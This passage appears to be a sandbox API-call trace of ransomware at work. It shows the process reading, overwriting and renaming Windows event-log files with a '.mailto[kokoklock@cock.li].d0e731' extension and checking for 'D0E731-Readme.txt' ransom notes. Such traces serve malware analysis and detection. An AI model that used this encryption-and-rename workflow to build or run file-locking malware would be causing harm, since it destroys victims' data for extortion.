returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731" [0167.995] wcscat (in: _Dest=0x2f901e0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.995] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.996] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f901e0) returned 1 [0167.997] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.997] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3c88 [0167.997] wcscpy (in: _Dest=0x2fe3c88, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.997] wcscat (in: _Dest=0x2fe3c88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.997] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3c88) returned 1 [0167.997] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88b20) returned 1 [0167.997] RtlExitUserThread (Status=0x1) Thread: id = 1685 os_tid = 0x818 [0167.998] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.998] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.998] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.999] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xba6fa94 | out: lpFileSize=0xba6fa94*=69824) returned 1 [0167.999] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.999] ReadFile (in: hFile=0x528, lpBuffer=0xba6fa68, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xba6fa64, lpOverlapped=0x0 | out: lpBuffer=0xba6fa68*, lpNumberOfBytesRead=0xba6fa64*=0x4, lpOverlapped=0x0) returned 1 [0168.000] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967a0 [0168.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0168.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967f0 [0168.000] NtQuerySystemTime (in: CurrentTime=0xba6fa40 | out: CurrentTime=0xba6fa40*=132121213253189547) returned 0x0 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xdd63d7f4 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x61a93b20 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xb2bf8109 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xebdd37ed [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x4db7cbdc [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x9163f045 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x66aa5491 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x1540e41c [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x9c4b9257 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xa2a75ef9 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xd455ba16 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x7ba189f8 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xeebb2855 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xe8dcbd6a [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x977aad86 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x7768d087 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x581ff980 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x1179580b [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x23a9a209 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xdd071498 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xa2962909 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xdb2fdf69 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xab33012a [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xd668023f [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xb0a6eda8 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x4d9dbfa9 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x2b518656 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xf94ac2f9 [0168.000] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0x74e7eba1 [0168.001] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xff0e01b [0168.001] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xef2eeffe [0168.001] RtlRandom (in: Seed=0xba6fa4c | out: Seed=0xba6fa4c) returned 0xf47d035 [0168.009] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96818 [0168.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0168.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96840 [0168.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0168.011] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f967a0) returned 1 [0168.011] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0168.011] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.011] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xba6fa18, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xba6fa18*=0x4096, lpOverlapped=0x0) returned 1 [0168.012] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0168.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faafc0 [0168.012] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0168.012] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0168.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967a0 [0168.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96868 [0168.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96868) returned 1 [0168.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faafc0) returned 1 [0168.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0168.013] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xba6fa18, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xba6fa18*=0x4096, lpOverlapped=0x0) returned 1 [0168.013] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.013] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.013] WriteFile (in: hFile=0x528, lpBuffer=0x2f967a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xba6fa50, lpOverlapped=0x0 | out: lpBuffer=0x2f967a0*, lpNumberOfBytesWritten=0xba6fa50*=0x20, lpOverlapped=0x0) returned 1 [0168.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f967a0) returned 1 [0168.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0168.014] WriteFile (in: hFile=0x528, lpBuffer=0x2f96840*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xba6fa64, lpOverlapped=0x0 | out: lpBuffer=0x2f96840*, lpNumberOfBytesWritten=0xba6fa64*=0x8, lpOverlapped=0x0) returned 1 [0168.014] WriteFile (in: hFile=0x528, lpBuffer=0xba6fa7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xba6fa64, lpOverlapped=0x0 | out: lpBuffer=0xba6fa7c*, lpNumberOfBytesWritten=0xba6fa64*=0x4, lpOverlapped=0x0) returned 1 [0168.014] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xba6fa64, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xba6fa64*=0x4, lpOverlapped=0x0) returned 1 [0168.014] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xba6fa64, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xba6fa64*=0x6c, lpOverlapped=0x0) returned 1 [0168.014] WriteFile (in: hFile=0x528, lpBuffer=0x2f969f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xba6fa64, lpOverlapped=0x0 | out: lpBuffer=0x2f969f8*, lpNumberOfBytesWritten=0xba6fa64*=0x20, lpOverlapped=0x0) returned 1 [0168.014] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xba6fa64, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xba6fa64*=0x4, lpOverlapped=0x0) returned 1 [0168.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f969f8) returned 1 [0168.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96818) returned 1 [0168.014] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96840) returned 1 [0168.014] CloseHandle (hObject=0x528) returned 1 [0168.015] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xee) returned 0x2f95908 [0168.015] wcscpy (in: _Dest=0x2f95908, _Source="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0168.015] wcscat (in: _Dest=0x2f95908, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0168.015] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0168.015] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f95908) returned 1 [0168.016] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0168.016] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3d08 [0168.016] wcscpy (in: _Dest=0x2fe3d08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0168.016] wcscat (in: _Dest=0x2fe3d08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0168.016] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0168.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3d08) returned 1 [0168.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83c40) returned 1 [0168.016] RtlExitUserThread (Status=0x1) Thread: id = 1686 os_tid = 0x9cc [0168.017] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0168.017] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0168.018] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0168.018] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xbaefc18 | out: lpFileSize=0xbaefc18*=1052928) returned 1 [0168.018] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1010fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.018] ReadFile (in: hFile=0x528, lpBuffer=0xbaefbec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbaefbe8, lpOverlapped=0x0 | out: lpBuffer=0xbaefbec*, lpNumberOfBytesRead=0xbaefbe8*=0x4, lpOverlapped=0x0) returned 1 [0168.019] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96818 [0168.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96868 [0168.019] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96840 [0168.019] NtQuerySystemTime (in: CurrentTime=0xbaefbc4 | out: CurrentTime=0xbaefbc4*=132121213253346662) returned 0x0 [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xbef5ce6e [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x23f2db9e [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xe2e3e75e [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xe126fcbc [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xd9416bda [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xb2eb3da2 [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xd084855a [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xc9280533 [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xfa645129 [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xbcdff26 [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x8d1e0e0d [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x8486b49 [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x211114e [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xa6457e4 [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x7bf28fe8 [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x25665049 [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x87820965 [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xca998c1b [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x4f62119e [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x23571f4a [0168.019] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x817840c6 [0168.020] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xd02b45b3 [0168.020] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x940c80b0 [0168.020] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x8e11fe42 [0168.020] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xb7e7a42f [0168.020] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x69449206 [0168.020] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xc1927f62 [0168.020] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x1bc02b08 [0168.020] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xb1d2fd70 [0168.020] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x28b6bd93 [0168.020] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0x37925e87 [0168.020] RtlRandom (in: Seed=0xbaefbd0 | out: Seed=0xbaefbd0) returned 0xad8269e1 [0168.028] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f967a0 [0168.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0168.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f969f8 [0168.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0168.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96818) returned 1 [0168.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0168.030] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.031] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbaefb84, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xbaefb84*=0x4096, lpOverlapped=0x0) returned 1 [0168.032] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0168.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0168.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96818 [0168.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96818) returned 1 [0168.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96818 [0168.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0168.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0168.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0168.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0168.033] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbaefb84, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xbaefb84*=0x4096, lpOverlapped=0x0) returned 1 [0168.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.033] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.033] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbaefb84, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xbaefb84*=0x4096, lpOverlapped=0x0) returned 1 [0168.035] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0168.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0168.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0168.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968b8) returned 1 [0168.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f968b8 [0168.035] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0168.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0168.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0168.035] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0168.036] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xbaefb84, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xbaefb84*=0x4096, lpOverlapped=0x0) returned 1 [0168.036] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0168.036] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.036] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xbaefb84, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xbaefb84*=0x4096, lpOverlapped=0x0) returned 1 [0168.037] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.037] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0168.037] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0168.037] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0168.037] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0168.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0168.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0168.038] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0168.038] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0168.038] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0168.038] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0168.038] WriteFile (in: hFile=0x528, 